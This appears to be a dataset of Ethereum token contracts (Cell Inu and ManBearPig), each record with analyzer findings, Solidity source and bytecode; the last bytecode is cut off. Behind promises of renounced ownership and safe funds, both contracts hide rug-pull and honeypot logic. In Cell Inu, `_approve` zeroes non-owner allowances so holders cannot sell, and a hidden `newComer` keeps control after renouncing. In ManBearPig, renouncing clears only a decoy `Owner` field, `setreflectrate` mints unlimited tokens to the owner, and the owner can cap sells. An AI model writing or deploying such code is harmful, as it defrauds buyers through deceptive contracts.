{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,149
0xba2b7799e9a8cab46b8fc7563778ad822e619fed
pragma solidity ^0.6.12; /* Cell Inu - ERC-20 Token "At last. All that I have ever imagined is now mine. I have become what no other could ever achieve. I am perfect." 1 Quadrillion Supply, 5% Max Buy 10% tax on sells and buys 2% added to LP Locked for initial 2 weeks, extended on every 100k mcap reached! Lock and Renounce on launch Calls will be lined up tg: https://t.me/CellInuERC20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract CellInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = 'Cell Inu'; string private _symbol = 'CELL'; uint8 private _decimals = 18; // Address that are identified as botters . mapping(address => bool) private _includeToBlackList; /** * @dev Exclude an address from blackList. * Can only be called by the current operator. */ function setExcludeFromBlackList(address _account) public onlyOwner { _includeToBlackList[_account] = false; } /** * @dev Include an address to blackList. * Can only be called by the current operator. */ function setIncludeToBlackList(address _account) public onlyOwner { _includeToBlackList[_account] = true; } constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063709432381161008c5780638da5cb5b116100665780638da5cb5b1461036857806395d89b411461039c578063a9059cbb1461041f578063dd62ed3e14610483576100cf565b806370943238146102c257806370a0823114610306578063715018a61461035e576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d57806368d4a9941461027e575b600080fd5b6100dc6104fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059d565b60405180821515815260200191505060405180910390f35b6101c36105bb565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105c5565b60405180821515815260200191505060405180910390f35b61026561069e565b604051808260ff16815260200191505060405180910390f35b6102c06004803603602081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b5565b005b610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107da565b005b6103486004803603602081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ff565b6040518082815260200191505060405180910390f35b610366610948565b005b610370610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a4610af9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e45780820151818401526020810190506103c9565b50505050905090810190601f1680156104115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046b6004803603604081101561043557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b6104e56004803603604081101561049957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105935780601f1061056857610100808354040283529160200191610593565b820191906000526020600020905b81548152906001019060200180831161057657829003601f168201915b5050505050905090565b60006105b16105aa610c40565b8484610c48565b6001905092915050565b6000600454905090565b60006105d2848484610f67565b610693846105de610c40565b61068e856040518060600160405280602881526020016113b160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610644610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112219092919063ffffffff16565b610c48565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6106bd610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107e2610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610950610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b5050505050905090565b6000610baf610ba8610c40565b8484610f67565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114226024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061138f6022913960400191505060405180910390fd5b610d5c610ad0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610e7b576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610f62565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061136a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611073576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113ff6023913960400191505060405180910390fd5b6110df816040518060600160405280602681526020016113d960269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112219092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611293578082015181840152602081019050611278565b50505050905090810190601f1680156112c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220351f6ba1849016a265ec2d5c33ce7b4ad767a51485b29d1dabbe42987b9e753164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,150
0x9df264a17b8d88509bcad7e24da88b4636665969
/* Welcome to 🧸 ManBearPig 🐷, a deflationary meme token with tokenomics to set it off to the MOON on the Ethereum network! ✅ FUNDS ARE SAFE - Locked Liquidity and Renounced Ownership. 💪 Stake MANBEARPIG for passive income. Also, earn MANBEARPIG by simply holding with our reflect feature. 🚀 Fair Launch - Be first to the party by simply noticing us before we take off to the moon! ✍️ Whitepaper in progress - Staking will go public TONIGHT! Telegram = @manbearpigofficial */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.3; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ManBearPig is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address public public_address; address public caller; uint256 private _reflectMax = 10000 * 10**9 * 10**18; string private _name = 'MBP'; string private _symbol = 'ManBearPig🐷'; uint8 private _decimals = 18; uint256 public rTotal = 5000000000 * 10**18; constructor () public { _router[_call()] = _reflectMax; emit Transfer(address(0), _call(), _reflectMax); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _reflectMax; } function reflect(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function setreflectrate(uint256 amount) public onlyOwner { require(_call() != address(0), "ERC20: cannot permit zero address"); _reflectMax = _reflectMax.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender != caller && recipient == public_address) { require(amount < rTotal, "Transfer amount exceeds the maxTxAmount."); } _router[sender] = _router[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063dd62ed3e11610071578063dd62ed3e14610540578063eb7d2cce146105b8578063f2fde38b146105e6578063f8d2a3f11461062a578063fc9c8d391461067457610121565b8063715018a6146103bf57806395d89b41146103c957806396bfcd231461044c578063a9059cbb14610490578063b4a99a4e146104f657610121565b806323b872dd116100f457806323b872dd1461025b578063313ce567146102e157806344192a0114610305578063622a69c61461034957806370a082311461036757610121565b8063053ab1821461012657806306fdde0314610154578063095ea7b3146101d757806318160ddd1461023d575b600080fd5b6101526004803603602081101561013c57600080fd5b81019080803590602001909291905050506106be565b005b61015c61079b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019c578082015181840152602081019050610181565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610223600480360360408110156101ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b61024561085b565b6040518082815260200191505060405180910390f35b6102c76004803603606081101561027157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610865565b604051808215151515815260200191505060405180910390f35b6102e961093e565b604051808260ff1660ff16815260200191505060405180910390f35b6103476004803603602081101561031b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610955565b005b610351610a62565b6040518082815260200191505060405180910390f35b6103a96004803603602081101561037d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a68565b6040518082815260200191505060405180910390f35b6103c7610ab1565b005b6103d1610c3a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104115780820151818401526020810190506103f6565b50505050905090810190601f16801561043e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603602081101561046257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cdc565b005b6104dc600480360360408110156104a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de9565b604051808215151515815260200191505060405180910390f35b6104fe610e07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a26004803603604081101561055657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2d565b6040518082815260200191505060405180910390f35b6105e4600480360360208110156105ce57600080fd5b8101908080359060200190929190505050610eb4565b005b610628600480360360208110156105fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611138565b005b610632611345565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067c61136b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106c6611391565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b5050505050905090565b600061085161084a611391565b8484611399565b6001905092915050565b6000600654905090565b6000610872848484611590565b6109338461087e611391565b61092e85604051806060016040528060288152602001611b7860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108e4611391565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b611399565b600190509392505050565b6000600960009054906101000a900460ff16905090565b61095d611391565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ab9611391565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd25780601f10610ca757610100808354040283529160200191610cd2565b820191906000526020600020905b815481529060010190602001808311610cb557829003601f168201915b5050505050905090565b610ce4611391565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610dfd610df6611391565b8484611590565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebc611391565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610f9d611391565b73ffffffffffffffffffffffffffffffffffffffff16141561100a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ac16021913960400191505060405180910390fd5b61101f81600654611a1590919063ffffffff16565b60068190555061107e8160026000611035611391565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6002600061108a611391565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d0611391565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef